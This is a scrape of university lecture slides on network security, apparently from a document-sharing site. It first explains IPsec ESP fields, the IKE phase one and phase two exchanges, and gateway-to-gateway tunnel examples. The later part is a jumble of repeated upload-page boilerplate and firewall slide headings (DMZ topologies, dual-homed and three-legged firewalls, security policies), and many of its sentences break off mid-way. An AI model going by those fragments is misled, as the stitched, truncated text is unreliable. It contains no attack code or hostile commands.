• Next Header. In tunnel mode, the payload is an IP packet, so the Next Header
value is set to 4 for IP-in-IP. In transport mode, the payload is usually a
transport-layer protocol, often TCP (6) or UDP (17)
ESP Packet Fields
If ESP integrity protection is enabled, the ESP trailer is followed by an Authentication

Information field. As in AH header It contains the field contains the MAC output.
Unlike AH, the MAC in ESP does not include the outermost IP header in its
calculations

How ESP works
Example
It contains five sections: Ethernet header, IP header, ESP

header, encrypted data (payload and ESP trailer), and
(optionally) authentication information. From the encrypted
data, it is not possible to determine if this packet was
generated in transport mode or tunnel mode.
How ESP works
Example
ESP header for the first four packets in an AH session between
A and B
The SPI and Sequence Number fields work the same way in
ESP that they do in AH.

Internet Key Exchange (IKE)
IKE protocol negotiates, creates, and manages security

associations (SA). SA is a generic term for a set of values that
define the IPsec features and protections applied to a
connection
IKE protocol has two phases:

• Phase One Exchange → IPsec endpoints to
successfully negotiate a secure channel (IKE SA) through
which an IPsec SA can be negotiated
• Phase Two Exchange → The purpose of phase two is
to establish an SA for the actual IPsec connection
Phase One Exchange Modes
• Main mode. It negotiates the establishment of the IKE

SA through three pairs of messages
1 In the first pair of messages, each endpoint proposes
parameters to be used for the SA
2 The second pair of messages performs a key exchange
through Diffie-Hellman
3 In the third pair of messages, each endpoint is
authenticated to the other

Phase One Exchange Modes
• Aggressive mode. It offers a faster alternative to main

mode. It negotiates the establishment of the IKE SA
through three messages
1 In the first message, endpoint A sends all the protection
suite parameters, as well as its portion of the
Diffie-Hellman key exchange, a nonce, and its identity
2 In the second message, endpoint B sends the protection
suite parameters, its portion of the Diffie-Hellman key
exchange, a nonce, its identity, and its authentication
payload (through digital signature or hash)
3 In the third message, endpoint A sends its
authentication payload
Phase One Exchange

In the phase one, each endpoint proposes parameters for the
SA. The four mandatory parameters are referred to as
protection suite
• Encryption Algorithm. This specifies the algorithm to
be used to encrypt data, e.g. DES, 3DES, AES, ...
• Integrity Protection Algorithm. This indicates which
keyed hash algorithm should be used for integrity
protection, e.g. HMAC-MD5, HMAC-SHA-1, ...
• Diffie-Hellman (DH) Group. It is used to generate a
shared secret for the endpoints in a secure manner.
• Authentication Method. There are several possible
methods for authenticating the two endpoints (Pre-shared
Keys, Digital Signatures, ... )
Phase Two Exchange
The purpose of phase two is to establish an SA for the actual

IPsec connection (IPSec SA). IPSec SA connection is created
using three messages:
• In the first message, endpoint A sends keys, nonces, and
IPsec SA parameter suggestions. The nonces are an
anti-replay measure
• In the second message, endpoint B sends keys, nonces,
and IPsec SA parameter selections, plus a hash for
authentication
• In the third message, endpoint A sends a hash for
authentication
Contents

Introduction
VPN Achitectures
IPSec Fundamentals
Practical Examples

ESP in a Gw-to-Gw Architecture

The goal is to establish an IPsec connection that provides
encryption and non complete integrity protection services
between endpoints (gateways) A and B. Initially, we have to
create an IKE SA, as follows:
1 Endpoint A creates and sends a regular (non-IPsec)

packet that has a destination address of endpoint B
2 Network A routes the packet to gateway A
3 Gateway A receives the packet and performs NAT,
altering the packet’s source IP address
4 Gateway A initiates an IKE SA negotiation with Gateway
B using either main mode or aggressive mode. At the end
of the negotiation, the IKE SA is created
ESP in a Gw-to-Gw Architecture

The next step is to create the IPsec SA, as follows:
5 GW A uses the parameters set in the IKE SA to initiate an
IPsec SA negotiation with GW B. ESP tunnel mode is used
6 Once the two IPsec SAs are created, gateway A finishes
processing the packet sent by endpoint A in the step 1:
1 GW A modifies the packet in accordance with the SA
parameters: A new IP packet header is added (source
IP: GW A and destination IP: GW B), encrypting the
data and adding the authentication information
2 Gateway A then sends the packet to Gateway B
3 GW B receives the packet and uses the SPI value in the
unencrypted ESP header to determine the SA
parameters. GW B processes and validates the packet:
remove the additional IP header, check the integrity and
decrypt the original payload
4 GW B sends the packet to endpoint B
AH and ESP in a Gw-to-Gw Architecture
The goal is to establish an IPsec connection that provides

encryption and complete integrity protection (including
headers) services between endpoints (gateways) A and B
Steps 1-4 are identically to the previous example

5 Gateway A uses the parameters set in the IKE SA to
initiate an IPsec SA negotiation with gateway B for the
AH service. The IKE SA provides protection for the
negotiation of the AH tunnel mode
6 Step 5 is repeated to negotiate the SAs for the ESP
service

Lecture 7 CMP4103 Computer Network Security - Firewalls

Uploaded by

Copyright:

Available Formats

Lecture 7 CMP4103 Computer Network Security - Firewalls

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Lecture 7 CMP4103 Computer Network Security - Firewalls

Uploaded by

Copyright:

Available Formats

Security in Information Systems: Lecture Notes in

Department of Computer Architecture (DAC)

Department of Computer Architecture (DAC)

Jordi Nin 2 - Network Security and Protection

Firewalls Viruses PPS

1 Perimetral Security: Firewalls

2 Viruses, Worms and Trojans

3 Point to Point Security

Jordi Nin 2 - Network Security and Protection

1 Perimetral Security: Firewalls

2 Viruses, Worms and Trojans

3 Point to Point Security

Jordi Nin 2 - Network Security and Protection

Firewalls Viruses PPS Introduction Topologies Rules Proxy

A firewall is a part of a computer system or network designed to

When we need a firewall?

Anytime we need to connect a secure network to an insecure

Jordi Nin 2 - Network Security and Protection

Regarding Donn B. Parker senior consultant form Stanford

• Tampering or Data Diddling → false data insertion

Jordi Nin 2 - Network Security and Protection

Firewalls Viruses PPS Introduction Topologies Rules Proxy

• Firewall: used to refer to the security policy and security

Jordi Nin 2 - Network Security and Protection

• Packet filter: Packet filtering inspects each packet

Firewalls Viruses PPS Introduction Topologies Rules Proxy

Why not implement security in the hosts?

There are many reasons, as for example...

• administrate the security in many points is more diﬃcult

Jordi Nin 2 - Network Security and Protection

What can a firewall do?

• It provides a single point of defense, allowing a controlled

Jordi Nin 2 - Network Security and Protection

Firewalls Viruses PPS Introduction Topologies Rules Proxy

What cannot a firewall do?

• It cannot protect the network against malicious attacks

Jordi Nin 2 - Network Security and Protection

1 Perimetral Security: Firewalls

2 Viruses, Worms and Trojans

3 Point to Point Security

Jordi Nin 2 - Network Security and Protection

Firewalls Viruses PPS Introduction Topologies Rules Proxy

A Simple Dual-Homed Firewall

A Two-Legged Network with a full exposed DMZ

• Advantages: The firewall needs only two network cards. This

Firewalls Viruses PPS Introduction Topologies Rules Proxy

Restricted DMZ via Dialup Firewall

Switch or Hub Netware Server

Public Webserver Public Mailserver

Jordi Nin 2 - Network Security and Protection

The Three-legged firewall

Jordi Nin 2 - Network Security and Protection

Firewalls Viruses PPS Introduction Topologies Rules Proxy

1 Perimetral Security: Firewalls

2 Viruses, Worms and Trojans

3 Point to Point Security

Jordi Nin 2 - Network Security and Protection

Basic Security policies

• Allow access to a service unless it is explicitly denied

Jordi Nin 2 - Network Security and Protection